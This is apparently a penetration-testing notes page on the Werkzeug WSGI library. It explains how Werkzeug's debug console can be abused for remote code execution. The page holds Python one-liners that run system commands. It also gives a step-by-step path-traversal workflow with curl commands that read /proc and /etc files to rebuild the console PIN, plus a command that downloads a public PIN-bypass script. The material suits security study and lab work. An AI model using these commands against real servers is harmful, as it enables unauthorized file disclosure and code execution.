PRIMARY CATEGORY → WEB TECHNOLOGIES

Theory

It’s a Web Server Gateway Interface ( WSGI ) library for Python used for web application development

It makes easier to deal with web aspects such as →

  • HTTP requests and responses

  • Traffic Routing

  • Error Handling

  • Sessions and Cookies

Python web frameworks such as Flask use Werkzeug to manage the interaction and communication between the web application and the web server via the WSGI interface

That is, it acts as a middleware ( WSGI Interface ) between the web application ( e.g. Flask ) and the web server ( e.g. Gunicorn )

Futhermore, Werkzeug can act as a bare bones web server for testing purposes. But it’s not intented to be used in production environments

When an operator wants to deploy a Flask web application to a production environment, Werkzeug should remains as a Python library used by Flask to handle most of the mentioned actions, that’s all

All incoming connections should be handled by a real web server, such as Green Unicorn ( Gunicorn ), which converts incoming HTTP requests’ data into a WSGI data structure that is subsequently passed to the web application instantiated by the web server itself


Server-Side Template Injection

SSTI

🛠️⌛

Session Cookies’ Secret Key

🛠️⌛


Debug Mode - Non-Protected Console

RCE

Werkzeug debug mode provides a clean interface with a tracedump regarding to the error that occurs

Along with each traceback section, there is a console icon, that once clicked, allows the user to run python code

In old versions, this console access was not protected by any type of control access, so any operator accessing a web application with Werkzeug’s Debug mode enabled could run python code, thereby being able to run system commands

Usually, we can access the Debug Console by visiting the /console endpoint or by generating an error that displays a debug page along with its traceback

Regarding to the latter, along with each traceback section there is a console icon, just click on it to access the console

Zoom in

__import__('os').system('<COMMAND>')
__import__('os').popen('<COMMAND>').read()

Zoom in

Debug Mode - Protected Console

LFI to RCE

Workflow

From Werkzeug 0.11 version, the console is protected by a PIN generated by the application itself during its deployment

This PIN is generated by gathering specific information from the server where the web application is running, along with other data

As Werkzeug is an open-source project, the logic that generates the PIN is publicly available, so if we discover any kind of vulnerability that lead us to a file disclosure, such as an LFI or a download feature with a security flaw, it’s a game over 💀, we will gain RCE as we explained in the section above

The required information is stuctured into two different lists, namely →

Probably Public Bits
  • Username

It’s the system user running the Python Web Application process

  • Modname

Name of the Python module associated with the running WSGI object

  • Application Object Name

i.e. getattr(app, "__name__", type(app).__name__)

  • Absolute Path to the Python File of the loaded module

It usually appears in any Debug traceback

Private Bits
  • Network Interface’s MAC Address

First, we must list all existing network interfaces

Then, we can grab the MAC address

Since we need its decimal value →

python3 -c "print(int('<MAC_ADDRESS>'.replace(':',''), 16))"
  • ( Machine ID | Boot ID ) + CGroup from the last / to the end

The main source is the Machine’s ID, if it does not exists, then the Boot ID is retrieved

Regarding to the /proc/self/cgroup resource, the data from the last / to the end is appended to one of the values above

Once we gather all this data by leveraging the file disclosure vulnerability and the information displayed on the tracedump of the debug mode, we can use the following python script, which generates the PIN in question based on the provided data

With the generated PIN, we should be able to access the Werkzeug Debug Console and subsequently run Python code as stated here

Requirements
  • Werkzeug’s Debug Mode must be enabled

  • An operator must be able to access a Debug Page generated by an exception

Or the /console endpoint must be accesible

  • The PIN must be generated automatically

  • A file disclosure vulnerability

To gather all the necessary data

Abuse

Let’s suppose that we have discovered a file disclosure vulnerability in a Flask Web Application with Werkzeug Debug mode enabled

<URL>/download?_fn=../etc/passwd

The /console endpoint is not accesible, but we manage to generate certain errors that trigger exceptions, so we can see tracedumps

Having this situation, we can proceed as follows →

Gathering Probably Public Bits Information
  • Username

/proc/self/environ

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../proc/self/environ' --path-as-is '<URL>' --output - | tr '\0' '\n' | grep -i --color -- 'user'
  • Modname

In most Flask web applications its value corresponds to flask.app

  • Application Object Name

/proc/self/cmdline

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../proc/self/cmdline' --path-as-is '<URL>' --output - | tr '\0' ' '

From the output above, we can infer that the Application Object Name is probably wsgi_app

  • Absolute Path to the Python File of the loaded module

We gather this piece of information from a traceback section of one of the generated exception pages

Zoom in

Gathering Probably Public Bits Information
  • Network Interface’s MAC Address

First, we must list the existing network interfaces

/proc/net/dev

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../proc/net/dev' --path-as-is '<URL>' --output - | awk -F: '/^.*?:/ { print $1 }'

Then, we can retrieve their MAC addresses and convert them to its decimal value

/etc/sys/class/<IFACE>/address

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../sys/class/net/<IFACE>/address' --path-as-is '<URL>' --output -
python3 -c "print(int('<MAC_ADDRESS>'.replace(':',''), 16))"
  • Machine ID + CGroup

Machine ID

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../etc/machine-id' --path-as-is '<URL>' --output -

CGroup

Data from the last / to the end

curl --silent --show-error --location --request GET --get --data-urlencode '_fn=../proc/self/cgroup' --path-as-is '<URL>' --output - | awk -F/ '{ print $NF }'

Then, we concatenate both values following the structure below

<MACHINE_ID><CGROUP_DATA>
Generating the Werkzeug Console PIN
  • Setup
curl --silent --location --request GET --remote-name 'https://github.com/wdahlenburg/werkzeug-debug-console-bypass/raw/refs/heads/main/werkzeug-pin-bypass.py'
  • Usage

After replace the expected values, simply run the code as follows

python3 werkzeug-pin-bypass.py
Resources

Ben Grewell: Cracking Flask Werkzeug Console PIN

Greg Scharf: LFI to RCE in Flask Werkzeug Application

Daehee: Werkzeug Console PIN Exploit

Werkzeug-Debug-Console-Bypass

0xdf: HTB Agile

0xdf: Reassembling Werkzeug’s PIN - Part I

0xdf: Reassembling Werkzeug’s PIN - Part II


Resources

Hacktricks: Werkzeug